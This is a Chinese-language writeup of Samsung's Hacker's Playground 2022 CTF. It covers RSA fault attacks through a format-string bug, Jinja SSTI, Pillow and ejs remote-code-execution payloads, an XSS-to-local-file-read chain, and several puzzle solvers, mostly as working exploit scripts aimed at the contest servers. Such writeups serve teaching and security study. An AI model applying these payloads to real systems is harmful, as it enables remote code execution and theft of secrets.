Hacker's Playground 2022 WriteUps

發表於
分類於 CTF

在防疫旅館的期間以 TSJ 參加了三星辦的 24 小時 ctf,最後拿了第 6 名,有些題目蠻有趣的所以也寫個 writeup。

[Pwn/Crypto] Secure Runner

這題的 elf 逆向一下可以知道它一開始先生成 RSA key,public key 會提供給你,之後可以讓你選擇幾個預先設好的指令的 signature。執行指令的話需要同時輸入指令和對應的 signature 才能執行。

另外它還有藏一個只能使用一次的 format string attack,長度也只有 4 而已:

unsigned __int64 onechance()
{
  int offset; // [rsp+4h] [rbp-1Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-18h]
  char s[5]; // [rsp+13h] [rbp-Dh] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = heap;
  if ( !usedFlag_5095 )
  {
    usedFlag_5095 = 1;
    __isoc99_scanf("%d%*c", &offset);
    v2 += offset;
    fgets(s, 5, stdin);
    if ( !strchr(s, 's') )
      printf(s);
  }
  return __readfsqword(0x28u) ^ v4;
}

這邊的 heap 是 heap 上的某個 chunk,所以可以讓 stack 上有個任意 offset 的 heap address 方便使用。而 s 因為被 ban 了所以代表這邊不能讀,只能寫而已。

因為題目在做大數的時候是使用 GNU MP 的 mpz,它會把數字東西也存在 heap 上,這代表可以透過控制 offset 去 corrupt key 的某些部分。而 key 本身是個 struct,格式大概是這樣,每個都是一個 16 bytes mpz,大概是存 metadata 和 pointer:

0: p
16: q
32: n
64: e
80: d
96: dp
112: dq
128: p-1 後來變成 (q^-1 mod p)*q
144: q-1 後來變成 (p^-1 mod q)*p

這題在 verify signature 的部分是直接檢查 semodns^e \mod{n} 是不是要執行的指令,所以這邊如果更改 nn 的話就能有些利用空間。

因為 format string 長度只有 4,算了一下知道 heap address 的 index 是 7,所以唯一可能的打法是 %7$n,把某四個 byte 設為 0 而已。這邊就讓我想到了今年 crypto ctf 的 Fiercest,所以就直接爆搜看看修改哪幾個 byte 可以讓它變為質數,這樣就簡單了。

from pwn import *
from Crypto.Util.number import *

# io = process("./SecureRunner")
io = remote("securerunner.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)


def find_flip(n):
    for i in range(0, 2048, 8):
        nn = n & ~(0xFFFFFFFF << i)
        if isPrime(nn):
            return nn, i // 8
    raise Exception("Unlucky")


p, offset = find_flip(n)
print(p)
io.sendline(b"9999")
io.sendline(str(-0x880 + offset).encode())
io.sendline(b"%7$n")
io.sendline(b"2")

d = pow(e, -1, p - 1)
cmd = b"sh"
sig = pow(bytes_to_long(cmd), d, p)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{sm4LL_but_b1g_en0u9h_f4Ul7_to_br3ak_RSA_5c3829d4}

[Pwn/Crypto] Secure Runner 2

這題和前一題類似,但是它 signature verification 的部分是先計算 n=pqn=pqsemodns^e \mod{n},而不是直接拿 key 中的 nn 來用。

雖然是可以 corrupt pp 或是 qq,但是想了想好像沒什麼用。

另外看到它 sign 預先定義的指令的地方可以知道它不是直接 mdmodnm^d \mod{n},而是使用 RSA CRT 的簽章方法,所以就想到了 Fault attacks on RSA’s signatures

然而這題它生成 key 的時候還有多計算 pqdpdqp \oplus q \oplus d_p \oplus d_q,而 sign 之前也會檢查過這四個值的完整性,所以想透過改 dp,dqd_p, d_q 然後用 CRT fault 去 gcd 是不可行的。

不過再稍微查一查就能找到 Modulus Fault Attacks Against RSA-CRT Signatures,它產生 fault 的地方是 nn,所以會有個 nn'。要使用這方法的條件是要能得到 signature modn\bmod {n}modn\bmod{n'} 的值才行,而這個正好在這題是都能達成的。

這個方法比較麻煩的是它用了 orthogonal lattice attack,所以實作不簡單,所以我是先直接按照它的方法實做一份出來:

from sage.all import *
from Crypto.Util.number import *
from itertools import combinations

p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
dp = d % (p - 1)
dq = d % (q - 1)
crtp = pow(q, -1, p) * q
crtq = pow(p, -1, q) * p

# fault
n2 = n & ~0xFFFFFFFF

def crt_sign(m):
    sp = pow(m, dp, p)
    sq = pow(m, dq, q)
    return (sp * crtp + sq * crtq) % n

def crt_sign_fault(m):
    sp = pow(m, dp, p)
    sq = pow(m, dq, q)
    return (sp * crtp + sq * crtq) % n2


def get_v(m):
    s1 = crt_sign(m)
    s2 = crt_sign_fault(m)
    return crt([s1, s2], [n, n2])


l = 5
vs = [ZZ(get_v(randint(2, n))) for _ in range(l)]
M1 = matrix(vs).T.augment(matrix.identity(l))
M1[:, 0] *= floor(sqrt((M1*M1.T).det()))
print(M1.change_ring(Zmod(100)))
L = M1.LLL()[: l - 2, 1:]
L = L.T.augment(matrix.identity(l))
L[:, : l - 2] *= floor(sqrt((L*L.T).det()))
print(L.change_ring(Zmod(100)))
LT = L.LLL()[:, -l:]
for z in LT:
    d = vector(vs) - z
    for t in d:
        g = gcd(t, n)
        if g != 1:
            print("g", g)
print(n)

然後把它修改一下整合到原本 pwn 的腳本去就行了:

from pwn import *
from sage.all import *
from Crypto.Util.number import *

# io = process("./SecureRunner2")
io = remote("eca189e9.sstf.site", 1337)
io.sendline(b"2")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
print(n)
print(e)


def factor(vs):
    l = len(vs)
    M1 = matrix(vs).T.augment(matrix.identity(l))
    M1[:, 0] *= floor(sqrt((M1 * M1.T).det()))
    L = M1.LLL()[: l - 2, 1:]
    L = L.T.augment(matrix.identity(l))
    L[:, : l - 2] *= floor(sqrt((L * L.T).det()))
    LT = L.LLL()[:, -l:]
    for z in LT:
        d = vector(vs) - z
        for t in d:
            g = gcd(t, n)
            if g != 1 and g < n:
                return g


normal_sigs = []
fault_sigs = []
for i in range(5):
    io.sendline(b"1")
    io.sendline(str(i).encode())
    io.sendline(b"3")
    io.recvuntil(b"sign = ")
    normal_sigs.append(int(io.recvline()))

io.sendline(b"9999")
io.sendline(str(-0x880).encode())
io.sendline(b"%7$n")
n2 = n & ~0xFFFFFFFF

for i in range(5):
    io.sendline(b"1")
    io.sendline(str(i).encode())
    io.sendline(b"3")
    io.recvuntil(b"sign = ")
    fault_sigs.append(int(io.recvline()))

vs = [crt([x, y], [n, n2]) for x, y in zip(normal_sigs, fault_sigs)]
p = factor(vs)
q = n // p
assert p * q == n

d = power_mod(e, -1, (p - 1) * (q - 1))
cmd = b"sh"
sig = power_mod(bytes_to_long(cmd), d, n)
io.sendline(b"4")
io.sendline(cmd)
io.sendline(str(sig).encode())
io.interactive()
# SCTF{RSA_mOdulu5_f4ult_1nj3t10n_4tTack_w1th_9R3A7_LLL}

這題還有些有趣的 unintended,像是它雖然會用 xor 檢查完整性,但是那個是在 sign 的時候才會用到,所以只要不用到 sign 的功能時就能改其他參數。以第二題的 rsa key 來說它一共有這些參數:

0: p
16: q
32: n
48: e
64: d
80: dp
96: dq
112: p-1 後來變成 (q^-1 mod p)*q
128: q-1 後來變成 (p^-1 mod q)*p
144: p xor q xor dp xor dq

一個改法是修改 pp 得到 pp',然後使用它的選項 0 可以得到 n=pqn'=p'q,這樣和原本的 n=pqn=pq xor 就能得到 qq。不過此時 signature verification 使用的會是 n=pqn'=p'q,所以如果 pp' 不好分解就糟了。不過這其實也好處理,就學第一題的概念,賭 pp' 是質數的情況就能解決了。如果 pp' 非質數就斷掉重來即可。

另一個做法是修改 112 和 128 的 crt coefficients ip=(q1modp)qi_p=(q^{-1} \mod{p})qiq=(p1modq)pi_q=(p^{-1} \mod{q})p。因為我們知道 CRT RSA 的 signing 等式長這樣:

s=((mdpmodp)ip+(mdqmodq)iq)modns = ((m^{d_p} \mod{p}) i_p + (m^{d_q} \mod{q}) i_q) \mod{n}

如果改掉 ipi_p 的 lsb 會得到 ip=ipxi_p' = i_p -x,然後再 sign 一次得到另一個 signature ss':

s=((mdpmodp)ip+(mdqmodq)iq)modns' = ((m^{d_p} \mod{p}) i_p' + (m^{d_q} \mod{q}) i_q) \mod{n}

此時兩個 signature 的差:

ss=x(mdpmodp)s - s' = x (m^{d_p} \mod{p})

xx 的部分用 %7$n 去蓋的話最多也才 2322^{32} 個可能,再者我們還可以把 offset 往前調一些(有 heap chunk padding 所以不會搞壞其他東西)讓 xx 的範圍只有 282^8。然後爆 xx 之後開 eemm 再 gcd 即可獲得 pp

[Crypto/Web] CUSES

cookie 是 AES CTR 加密的,flip username 的 guestadmin 就有 flag 了。

[Misc/Web] 5th degree

就它會給一個五次多項式,要在一個給定範圍中找出極大極小值,需要在一分鐘內解完 30 題才有 flag。

基本上 sage 弄一弄就行了:

import re
import httpx


def solve(tex, lb, ub):
    eq = re.sub(r"(\d)(x)", "\\1*\\2", tex.strip()).replace("^", "**")
    print(eq)

    P.<x> = ZZ[]
    y = eval(eq.replace("y = ", ""))
    ps = [x for x in y.diff().roots(multiplicities=False) if lb <= x <= ub]
    ps = [lb] + ps + [ub]
    ys = [y(x) for x in ps]
    return min(ys), max(ys)



cli = httpx.Client(base_url="http://5thdegree.sstf.site/")
page = cli.get("/chal").text
for _ in range(30):
    print("Round", re.search(r"Round (\d+)", page).group(1))
    tex = re.search(r"\\\[(.*?)\\\]", page).group(1).strip()
    print(tex)
    m = re.search(r"\\\( ([\-0-9]+) \\le x \\le ([\-0-9]+) \\\)", page)
    lb = int(m.group(1))
    ub = int(m.group(2))
    print(lb, ub)
    mn, mx = solve(tex, lb, ub)
    print(mn, mx)
    print()
    page = cli.post("/chal", data={"min": mn, "max": mx}).text
print(page)
# SCTF{I_w4nt_t0_l1v3_in_a_wOrld_w1thout_MATH}

[Web] Online Education

這題用負數繞過一些東西,然後因為 re.match 只有檢查 email 的開頭,所以後面可以加一些 js 讓它被 html -> pdf 的工具執行,這邊就能 lfi leak config.py 得到 flask secret,然後 sign 新的 session 變 admin 拿到 flag。

import httpx

xss = """
<script>
var xhr = new XMLHttpRequest
xhr.open('GET', 'file:///home/app/config.py', false)
xhr.send(null)
document.write(xhr.responseText)
</script>
"""
cli = httpx.Client(base_url="http://onlineeducation.sstf.site/", follow_redirects=False)
r = cli.post("/signin", data={"name": "peko", "email": "peko@gmail.com" + xss})
for i in range(3):
    print(i)
    cli.post("/status", json={"action": "start"})
    cli.post("/status", json={"action": "finish", "rate": -1})
pdf = cli.get("cert").read()
with open("cert.pdf", "wb") as f:
    f.write(pdf)
# secret_key 19eb794c831f30f099a31b1c095a17d6
# flask-unsign -S 19eb794c831f30f099a31b1c095a17d6 -s --cookie "{'email': 'peko@gmail.com', 'idx': 3, 'is_admin': True, 'name': 'peko'}"
# SCTF{oh_I_forgot_to_disable_javascript}

[Rev] FSC

這題有個單純用 C 的 printf format string 寫個 flag checker,但我不知道怎麼逆這種東西,所以把它當作黑箱來處理了。

透過改變一些輸入的值可以之看出它應該是個 Z256\mathbf{Z}_{256} 下的矩陣乘法。原則上它計算就是先把 input 全部減一得到一個 vector xx,然後有預先定義好的 matrix AA 和 vector bb

check 的部分就是看 Ax+bAx+b 是不是 00 而已,所以透過改變一些 xx 的值可以得到整個 AAbb,然後 sage 解開即可。

解出來的會發現它有些值不太對,因為矩陣的 kernel 非零,不過用一些方法得到 kernel 之後會發現它的值都只是幾個 index 會變 128,所以就把超過範圍的值減掉 128 就能拿到 flag 了。

dump AAbb:

#include <stdio.h>
#include <string.h>

#define F(X) "%"#X"$s"
#define O(X) "%"#X"$hhn"
#define R(V,X) "%2$"#V"d"O(X)
#define M(X) "%2$.*"#X"$d"
#define A(X) X X 
#define T(X) A(X)A(X)
#define S(X) T(X)T(X)
#define TR(X) S(X)S(X)
#define I(X) TR(TR(X))
#define N I(O(5)F(5))
#define G "\033[2J\n%7$s\n";

unsigned char f[1337]={0,};
unsigned char oldf[1337]={0,};

char *have = A(M(12))R(48,13)A(M(14))R(66,15)M(16)R(150,17)A(M(18))R(
             36,19)A(M(20))R(46,21)M(22)R(131,23)A(M(24))R(32,25)M(26)
             R(161,27)A(M(28))R(66,29)A(M(30))R(26,31)A(M(32)) R(34,33
             )M(34)R(140,35)M(36)R(223,37)A(M(38))R(28,39)A( M(40))R(
             88,41)A(M(42))R(90,43)A(M(44))R(10,45)M(46)R( 155,47)M(48
             )R(159,49)A(M(50))R(116,51)M(52)R(141,53)M(54)R(151,55)A(
             M(56))R(22,57)M(58)R(140,59)A(M(60))R(122,61)M(62)R(154,
             63)M(64)R(153,65)A(M(66))R(22,67)M(68)R(146,69)A(M(70))R
             (66,71)N F(17)F(55)F(27)F(71)F(39)F(67)F(25)F(15)F(35)F(
             43)F(23)F(29)F(33)F(49)F(53)F(65)F(31)F(45)F(47)F(37)F(57
             )F(19)F(63)F(41)F(69)F(13)F(51)F(59)F(61)F(21)O(3)N TR(F(
             3)) R(71,7) N A(F(3))F(3) R(79,8) N R(79,9) N A(F(3)) S(
             F(3)) R(68,10) N A(TR(F(3)))T(F(3))A(F(3)) R(33,11) N G

#define  fun "SCTF{",01,f+38,f+34,f+32,f+36,f+40,f+41,f+42,f+43,f+44,\
             f[27],f+100,f[18],f+82,f[5],f+56,f[15],f+76,f[14],f+74,f\
             [29],f+104,f[12],f+70,f[11],f+68,f[21],f+88,f[7],f+60,f[\
             24],f+94,f[8],f+62,f[28],f+102,f[13],f+72,f[2],f+50,f[0]\
             ,f+46,f[4],f+54,f[22],f+90,f[10],f+66,f[3],f+52,f[20],f+\
             86,f[19],f+84,f[6],f+58,f[16],f+78,f[1],f+48,f[17],f+80,\
             f[26],f+98,f[25],f+96,f[23],f+92,f[9],f+64,f[99],1337,"}"

int main(){
    char out[10000];
    // print a transposed matrix A (mod 256)
    for(int k=0;k<30;k++){
        memset(f, 0, sizeof(f));
        sprintf(out,have,fun);
        memcpy(oldf, f, sizeof(f));

        memset(f, 0, sizeof(f));
        f[k] = 2;  // to observe changes
        sprintf(out,have,fun);
        printf("[");
        for(int i=46;i<=104;i+=2){
            printf("%d, ", f[i] - oldf[i]);
        }
        printf("],\n");
    }

    // print target vector
    memset(f, 0, sizeof(f));
    sprintf(out,have,fun);
    for(int i=46;i<=104;i+=2){
        // printf("%d: %d\n", i, f[i]);
        printf("%d, ", f[i]);
    }
    puts("");
}

solve:

A=matrix(Zmod(256),[[2, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[0, 2, 0, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],
[0, 2, 0, 0, 0, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 0, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 2, 2, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, ],
[2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 0, 0, 2, 0, 0, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 0, 2, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0, ],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, ],
[2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, ],
[1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, ],
[1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, ],]).T
rhs=vector([112, 117, 20, 46, 124, 13, 108, 11, 188, 153, 184, 171, 9, 186, 99, 51, 249, 16, 118, 84, 188, 239, 24, 85, 47, 194, 170, 50, 156, 231])
sol=A.solve_right(-rhs)
print(bytes([x-128+1 if x>=128 else x+1 for x in sol]))
# SCTF{just_a_printf_is_enough!}

[Misc] Flip Puzzle

就一個類似 15 puzzle 的遊戲,一樣是 4x4。它一開始會從初始狀態隨機移動 11 步,之後你要在 11 步以內走回初始狀態即可獲勝一輪,要獲勝 100 輪才有 flag。另外整個需要在 50 秒內完成。

我的作法很簡單,因為 411=2224^{11} = 2^{22} 並不是很大,所以直接 dfs 全搜索,然後建表紀錄一個每個節點的上一個點是誰,還要稍微用最短路的 relax 概念處禮一下。

之後就上面上的表直接去查該怎麼走回起點這題就結束了。

建表:

board = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P".split(",")
board = [board[i : i + 4] for i in range(0, len(board), 4)]
print(board)

par = {}


def dfs(x, y, board, depth=0):
    if depth == 11:
        return
    parhash = "".join(["".join(x) for x in board])
    for dx, dy in [(0, +1), (0, -1), (+1, 0), (-1, 0)]:
        xx = (x + dx) % 4
        yy = (y + dy) % 4
        board[x][y], board[xx][yy] = board[xx][yy], board[x][y]
        curhash = "".join(["".join(x) for x in board])
        if curhash not in par or depth < par[curhash][2]:
            par[curhash] = ((-dx, -dy), parhash, depth)
        dfs(xx, yy, board, depth + 1)
        board[x][y], board[xx][yy] = board[xx][yy], board[x][y]


dfs(0, 0, board)
print(len(par))
print(board)

import pickle

with open("par.pkl", "wb") as f:
    pickle.dump(par, f)

解題:

from pwn import *
import pickle
from tqdm import tqdm

with open("par.pkl", "rb") as f:
    # python bb.py
    par = pickle.load(f)


def recvboard(io):
    s = ""
    for _ in range(4):
        s += io.recvlineS().strip()
    return s


# context.log_level = "debug"
# io = process(["python", "app.py"])
io = remote("flippuzzle.sstf.site", 8098)
for rnd in tqdm(range(100)):
    io.recvuntil(b"Current Status :\n")
    cur = recvboard(io)
    dirs = []
    for _ in range(11):
        d, nxt, _ = par[cur]
        dirs.append(d)
        cur = nxt
        if cur == "ABCDEFGHIJKLMNOP":
            break
    io.sendline("\n".join([",".join(map(str, x)) for x in dirs]).encode())
io.interactive()
# SCTF{what-is-your-favorite-algorithm_0x38dc129?}

[Web] OnlineNotepad

import os
import jinja2
import uvicorn
from pydantic import BaseModel, Field, validator
from fastapi import FastAPI, Request
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates


app = FastAPI()

userinfo_path = "userinfo"
memo_path = "memo"

app.mount("/static", StaticFiles(directory="static"), name="static")
templates = Jinja2Templates(directory=["templates", userinfo_path, memo_path])


userinfo_raw = """{%% set userid = "%s" %%}
{%% set password = "%s" %%}"""

memofile_raw = """<html>
<head>
    <title>Online Notepad</title>
    <link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet">
</head>
<body>
<div>
    {%% import userid+".j2" as user %%}

    {%% if userid == user.userid %%}
        {%% if password == user.password %%}
            <h1>Hello {{ userid }}</h1>
            <h1><pre>{%% raw %%}%s{%% endraw %%}</pre></h1>
        {%% else %%}
            <h1>Login Fail</h1>
        {%% endif %%}
    {%% else %%}
        <h1>Login Fail</h1>
    {%% endif %%}
</div>
</body>
</html>
"""

class Memo(BaseModel):
    userid: str = Field(min_length=5, max_length=20)
    password: str = Field(min_length=5, max_length=20)
    memo: str = Field(min_length=1, max_length=64)

    @validator("userid")
    def val_userid(cls, v):
        if v == "admin":
            raise ValueError("access denied")
        if v.isalnum() != True:
            raise ValueError("userid cannot contain a special character")
        return v

    @validator("password")
    def val_password(cls, v):
        if ("\"" in v) or ("/" in v):
            raise ValueError("password cannot contain a special character")
        return v

    @validator("memo")
    def val_memo(cls, v):
        if ("{{" in v) or ("}}" in v):
            raise ValueError("memo cannot contain a special character")
        return v


@app.post("/memo/")
async def write_memo(request:Request, memo:Memo):
    global userinfo_path, memo_path
    global userinfo_raw, memofile_raw

    userinfo = userinfo_raw % (memo.userid, memo.password)
    open(os.path.join(userinfo_path, memo.userid+".j2"), "w").write(userinfo)

    memofile = memofile_raw % memo.memo
    open(os.path.join(memo_path, memo.userid+".html"), "w").write(memofile)

    return memo

@app.get("/memo/{userid}/{password}")
async def read_memo(request:Request, userid:str, password:str):
    global userinfo_path, memo_path

    try:
        if (
            (userid.isalnum() == True) and 
            os.path.exists( os.path.join(userinfo_path, userid+".j2") ) and 
            os.path.exists( os.path.join(memo_path, userid+".html") )
        ):
            return templates.TemplateResponse(userid+".html", {"request": request, "userid":userid, "password":password})
        else:
            return templates.TemplateResponse("readfail.html", {"request": request})
    except Exception as e:
        print(e)
        return("Exception")

@app.get('/')
async def index(request:Request):
    context = {"request":request}
    return templates.TemplateResponse('index.html', context)


if __name__ == '__main__':
    uvicorn.run(app, host="0.0.0.0", port=35547, headers=[("Server", "FastAPI")], log_level="info")

可以看到它會寫入 template 然後可以 SSTI,raw 因為是用 %s 注入的所以 memo 用 endraw + raw 就能 SSTI。

PS: %% 在 python 的 % formatting 是 % 的 escape,所以它其實沒重複 %

至於阻擋 {{ }} 的部分就用 {%set a=7*7%} 這樣去繞過。但是另外的問題在於 memo 長度只有 64,短到不知道該怎麼弄足夠的長度去 rce。一個常見的技巧是使用 flask 的 config.update(a=lipsum.__globals__),去暫存一些值,然後之後再 config.a.os 這樣去存取,長度就能變短。但是 config 這個變數只有在一般的 render_template 的環境下才存在的樣子,在這邊的 TemplateResponse 中是無法使用的。

後來我注意到 password 也屬於同個環境,同時也沒有很嚴格的限制,所以就發現這個 payload 長度就剛剛好 64:

{%endraw%}{%set a=lipsum.__globals__.os.popen(password)%}{%raw%}

因為 password 長度限制只有 20,所以這邊會需要一個夠短的 domain 能塞 curl domain|sh 才行,所以這後面就給有短 domain 的 splitline 處理了。

另外這題還有個方法不用 short domain,概念上很類似前面使用 config 的手法。關鍵就是我們可以用多個帳號寫多個檔案,然後利用 {%set a = ???%}{%include 'other.html'%} 這樣去組合即可。

例如 p1.html 裡面放:

{%set a=lipsum%}{%include 'p2.html'%}

然後 p2.html 裡面放:

{%set b=a.__globals__%}{%include 'p3.html'%}

然後之後就 p3.html, p4.html 繼續這樣下去就能繞過長度限制了。

[Web] Imageium

這題是個圖片的 channel mixed 的服務,可以用下面網址提供參數得到不同的圖片:

http://imageium.sstf.site/dynamic/modified?mode=r%2Bg%2Bb

另位題目有註記說是 Pillow 8.2.0,能查到 CVE-2022-22817,說是 PIL.ImageMath.eval 是可以直接 RCE 的,所以直接塞點其他東西進去就拿到 flag 了:

http://imageium.sstf.site/dynamic/modified?mode=__import__(%27os%27).popen(%27cat%20secret/*%27).read()

下面是和解題無關的一些題外話:

這個 cve 最一開始的 patch 是 Restrict builtins for ImageMath.eval,有玩 pyjail 的很容易就能看出那很容易用 lambda 繞過,所以應該又有一個 cve…?

後來才發現到目前的 9.1.0. 之後已經有用 Restrict builtins within lambdas for ImageMath.eval 去 recursive 檢查 co_names,而這個方法至少我是想不到辦法繞過的,所以應該是安全的。

[Web] JWT Decoder


const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const app = express();
const PORT = 3000;

app.use(cookieParser());
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    let rawJwt = req.cookies.jwt || {};

    try {
        let jwtPart = rawJwt.split('.');

        let jwtHeader = jwtPart[0];
        jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
        jwtHeader = JSON.parse(jwtHeader);
        jwtHeader = JSON.stringify(jwtHeader, null, 4);
        rawJwt = {
            header: jwtHeader
        }

        let jwtBody = jwtPart[1];
        jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
        jwtBody = JSON.parse(jwtBody);
        jwtBody = JSON.stringify(jwtBody, null, 4);
        rawJwt.body = jwtBody;

        let jwtSignature = jwtPart[2];
        rawJwt.signature = jwtSignature;

    } catch(error) {
        if (typeof rawJwt === 'object') {
            rawJwt.error = error;
        } else {
            rawJwt = {
                error: error
            };
        }
    }
    res.render('index', rawJwt);
});

app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something wrong!');
});

app.listen(PORT, (err) => {
    console.log(`Server is Running on Port ${PORT}`);
});

可以看到說它做的事就只有 decode jwt 然後重新 format 而已,看不出什麼洞來。雖然 res.render('index', rawJwt); 會讓我想到 echoecho2 兩個題目,但是根據它 decode JWT 的方法應該是沒辦法控制其他 options 的吧…?

當然,無法控制其他 options 這點當然是錯的,不然這題就不可解了。關鍵是在 let rawJwt = req.cookies.jwt || {}; 的地方,因為 express cookie 支援了一個 JSON cookie 的功能,在遇到 j:{"a": 123} 這樣的 cookie 時會嘗試去 decode,所以 rawJwt 其實可以是自己的 object。後面 split 會有 exception,但是因為會 catch 所以還是能讓自己的 payload 進到裡面。

再查一些資料之後能找到 CVE-2022-29078,google 一下就有 exploit 可用,所以這樣即可 rce:

curl 'http://jwtdecoder.sstf.site' --cookie 'jwt=j:{"settings":{"view options":{"outputFunctionName":"a=process.mainModule.require(\"child_process\").execSync(\"SHELL COMMAND\")%3Bb"}}}'

[Web] Datascience Class

這題有個 jupyter hub 的服務可以註冊和登入,代表你可以直接在 server 上執行指令了。然而它註冊似乎是直接創建新的 linux user,包括有自己的 home directory,而題目本身還有兩個帳號 adminsub-admin,flag 是放在 /home/admin/flag 之中,但我們沒有權限讀取。

另外題目還有個 xss bot 會定時 visit 各 user 的 assignment.ipynb 頁面,所以可以放些 javascript 嘗試去獲得一些資訊。我測試了一下之後發現 xss bot 的 user 是 sub-admin,就想說先把 sub-admin 的 password 改掉,方便我登入進那帳號之後看看能不能做些事撈到 admin 的 flag。

不過就在我做到這邊的時候 seadog007 就已經用 pspy 從其他隊伍那邊偷到 flag 了 XDDD,所以就沒繼續做下去。

